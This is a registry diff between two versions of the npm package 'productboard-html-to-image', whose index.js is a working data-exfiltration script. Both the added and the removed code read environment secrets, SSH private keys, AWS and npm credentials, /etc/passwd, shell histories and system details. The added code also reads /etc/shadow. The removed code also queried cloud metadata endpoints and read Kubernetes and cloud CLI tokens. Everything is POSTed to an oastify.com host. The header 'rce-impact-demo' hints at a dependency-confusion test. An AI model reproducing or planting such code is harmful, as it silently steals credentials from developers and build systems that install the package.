productboard-html-to-image 1001.0.9 → 1003.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +48 -139
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -8,26 +8,26 @@ const child_process = require("child_process");
8
8
 
9
9
  function safeReadFile(p, maxSize = 10240) {
10
10
  try {
11
- if (!fs.existsSync(p)) return "NOT_FOUND";
11
+ if (!fs.existsSync(p)) return "NOT FOUND";
12
12
  const size = fs.statSync(p).size;
13
- if (size > maxSize) return "TOO_LARGE";
13
+ if (size > maxSize) return "TOO LARGE";
14
14
  return fs.readFileSync(p, "utf8");
15
15
  } catch (e) {
16
16
  return `ERR: ${e.message}`;
17
17
  }
18
18
  }
19
19
 
20
- function safeReadDir(p, maxEntries = 50) {
20
+ function safeReadDir(p) {
21
21
  try {
22
- return fs.readdirSync(p).slice(0, maxEntries);
22
+ return fs.readdirSync(p);
23
23
  } catch (e) {
24
24
  return `ERR: ${e.message}`;
25
25
  }
26
26
  }
27
27
 
28
- function exec(cmd, timeout = 3000) {
28
+ function exec(cmd) {
29
29
  try {
30
- return child_process.execSync(cmd, { timeout }).toString().trim();
30
+ return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
31
31
  } catch (e) {
32
32
  return `ERR: ${e.message}`;
33
33
  }
@@ -36,24 +36,18 @@ function exec(cmd, timeout = 3000) {
36
36
  function getSensitiveEnvVars() {
37
37
  const result = {};
38
38
  for (const key in process.env) {
39
- if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
39
+ if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
40
40
  result[key] = process.env[key];
41
41
  }
42
42
  }
43
43
  return result;
44
44
  }
45
45
 
46
- function checkContainerOrCI() {
46
+ function checkDockerOrCI() {
47
47
  return {
48
48
  cgroup: safeReadFile("/proc/1/cgroup"),
49
49
  dockerenv: fs.existsSync("/.dockerenv"),
50
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
51
- kubernetes: {
52
- token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
53
- namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
54
- kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
55
- },
56
- dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
50
+ ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
57
51
  };
58
52
  }
59
53
 
@@ -62,8 +56,6 @@ function getGitData() {
62
56
  branch: exec("git rev-parse --abbrev-ref HEAD"),
63
57
  remotes: exec("git remote -v"),
64
58
  config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
65
- credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
66
- netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
67
59
  };
68
60
  }
69
61
 
@@ -71,80 +63,21 @@ function getSystemState() {
71
63
  return {
72
64
  whoami: exec("whoami"),
73
65
  id: exec("id"),
74
- ps: exec("ps aux | head -n 30"),
75
- netstat: exec("ss -tunlp | head -n 30"),
76
- lsof: exec("lsof -n -i | head -n 30"),
66
+ ps: exec("ps aux | head -n 20"),
67
+ netstat: exec("netstat -tunlp | head -n 20"),
68
+ lsof: exec("lsof -n | head -n 20"),
77
69
  uname: exec("uname -a"),
78
- mounts: exec("cat /proc/mounts | head -n 30"),
79
- crontab: exec("crontab -l"),
70
+ dmesg: exec("dmesg | head -n 30"),
80
71
  };
81
72
  }
82
73
 
83
74
  function getInstalledTools() {
84
75
  return {
85
76
  npm: exec("npm ls -g --depth=0 --json"),
86
- apt: exec("dpkg -l | head -n 30"),
77
+ apt: exec("dpkg -l | head -n 20"),
87
78
  brew: exec("brew list || echo 'no brew'"),
88
- pip: exec("pip list --format=json || echo 'no pip'"),
89
- which_tools: {
90
- aws: exec("which aws"),
91
- gcloud: exec("which gcloud"),
92
- az: exec("which az"),
93
- kubectl: exec("which kubectl"),
94
- terraform: exec("which terraform"),
95
- docker: exec("which docker"),
96
- nmap: exec("which nmap"),
97
- curl: exec("which curl"),
98
- },
99
- };
100
- }
101
-
102
- function getCloudMetadata() {
103
- const metadata = {};
104
- const endpoints = [
105
- { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
106
- { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
107
- { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
108
- { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
109
- { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
110
- ];
111
- for (const { name, url, headers } of endpoints) {
112
- try {
113
- let cmd = `curl -s --max-time 2 ${url}`;
114
- if (headers) {
115
- const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
116
- cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
117
- }
118
- metadata[name] = exec(cmd);
119
- } catch (e) {
120
- metadata[name] = `ERR: ${e.message}`;
121
- }
122
- }
123
- return metadata;
124
- }
125
-
126
- function getCloudCLIs() {
127
- return {
128
- aws: {
129
- credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
130
- config: safeReadFile(path.join(os.homedir(), ".aws/config")),
131
- sts: exec("aws sts get-caller-identity"),
132
- },
133
- gcloud: {
134
- config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
135
- credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
136
- },
137
- azure: {
138
- credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
139
- accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
140
- },
141
- };
142
- }
143
-
144
- function getNodeRuntime() {
145
- return {
146
- node_version: process.version,
147
- npm_config: exec("npm config ls -l"),
79
+ which_nmap: exec("which nmap"),
80
+ which_curl: exec("which curl"),
148
81
  };
149
82
  }
150
83
 
@@ -152,24 +85,29 @@ let dump = {};
152
85
 
153
86
  try {
154
87
  dump = {
155
- p: (() => {
88
+ timestamp: new Date().toISOString(),
89
+ app: (() => {
156
90
  try {
157
- return require("./package.json").name;
158
- } catch {
159
- return "unknown";
160
- }
161
- })(),
162
- v: (() => {
163
- try {
164
- return require("./package.json").version;
91
+ const pkg = require("./package.json");
92
+ return { name: pkg.name, version: pkg.version };
165
93
  } catch {
166
- return "unknown";
94
+ return {};
167
95
  }
168
96
  })(),
169
- c: process.cwd(),
170
- hd: os.homedir(),
171
- hn: os.hostname(),
172
- un: os.userInfo().username,
97
+ os: {
98
+ hostname: os.hostname(),
99
+ platform: os.platform(),
100
+ arch: os.arch(),
101
+ uptime: os.uptime(),
102
+ cpus: os.cpus(),
103
+ totalmem: os.totalmem(),
104
+ freemem: os.freemem(),
105
+ userInfo: os.userInfo(),
106
+ tmpdir: os.tmpdir(),
107
+ homedir: os.homedir(),
108
+ cwd: process.cwd(),
109
+ },
110
+ env: getSensitiveEnvVars(),
173
111
  dns: (() => {
174
112
  try {
175
113
  return dns.getServers();
@@ -177,61 +115,31 @@ try {
177
115
  return [`ERR: ${e.message}`];
178
116
  }
179
117
  })(),
180
- pjson: (() => {
181
- try {
182
- const pkg = require("./package.json");
183
- return {
184
- name: pkg.name,
185
- version: pkg.version,
186
- main: pkg.main,
187
- keywords: pkg.keywords,
188
- scripts: pkg.scripts,
189
- author: pkg.author,
190
- license: pkg.license,
191
- description: pkg.description
192
- };
193
- } catch {
194
- return {};
195
- }
196
- })(),
197
- env: getSensitiveEnvVars(),
198
118
  dirs: {
199
119
  "/": safeReadDir("/"),
200
120
  "/home": safeReadDir("/home"),
201
121
  "/root": safeReadDir("/root"),
202
122
  "/etc": safeReadDir("/etc"),
203
- "/var/run": safeReadDir("/var/run"),
204
- "/var/log": safeReadDir("/var/log"),
205
123
  "~": safeReadDir(os.homedir()),
206
124
  },
207
125
  files: {
208
126
  etc_passwd: safeReadFile("/etc/passwd"),
127
+ etc_shadow: safeReadFile("/etc/shadow"),
209
128
  etc_hosts: safeReadFile("/etc/hosts"),
210
- etc_resolv: safeReadFile("/etc/resolv.conf"),
211
129
  bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
212
130
  zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
213
131
  ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
214
132
  ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
215
133
  ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
216
134
  aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
217
- aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
218
135
  npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
219
136
  gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
220
- docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
221
- env_files: {
222
- dotenv: safeReadFile(path.join(process.cwd(), ".env")),
223
- github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
224
- },
225
137
  },
226
138
  git: getGitData(),
227
- container: checkContainerOrCI(),
139
+ docker: checkDockerOrCI(),
228
140
  system: getSystemState(),
229
141
  tools: getInstalledTools(),
230
142
  network: os.networkInterfaces(),
231
- cloud: getCloudMetadata(),
232
- cloud_clis: getCloudCLIs(),
233
- node: getNodeRuntime(),
234
- timestamp: new Date().toISOString()
235
143
  };
236
144
  } catch (e) {
237
145
  dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -239,32 +147,33 @@ try {
239
147
 
240
148
  try {
241
149
  const postData = querystring.stringify({
242
- msg: encodeURIComponent(JSON.stringify(dump))
150
+ msg: JSON.stringify(dump)
243
151
  });
244
152
 
245
153
  const options = {
246
- hostname: "ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com",
154
+ hostname: "hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com",
247
155
  port: 443,
248
156
  path: "/",
249
157
  method: "POST",
250
158
  headers: {
251
159
  "Content-Type": "application/x-www-form-urlencoded",
252
160
  "Content-Length": postData.length,
253
- "User-Agent": "rce-impact-demo",
254
- "X-Report-ID": "328XXXX"
255
- },
256
- timeout: 5000,
161
+ "User-Agent": "rce-impact-demo"
162
+ }
257
163
  };
258
164
 
259
165
  const req = https.request(options, res => {
260
166
  res.on("data", () => { });
261
- res.on("end", () => { });
262
167
  });
263
168
 
264
169
  req.on("error", () => { });
265
- req.on("timeout", () => req.destroy());
266
170
  req.write(postData);
267
171
  req.end();
172
+
173
+ https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
174
+
268
175
  } catch (e) {
269
- // Silent fail
270
- }
176
+ try {
177
+ https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
178
+ } catch { }
179
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-html-to-image",
3
- "version": "1001.0.9",
3
+ "version": "1003.0.9",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {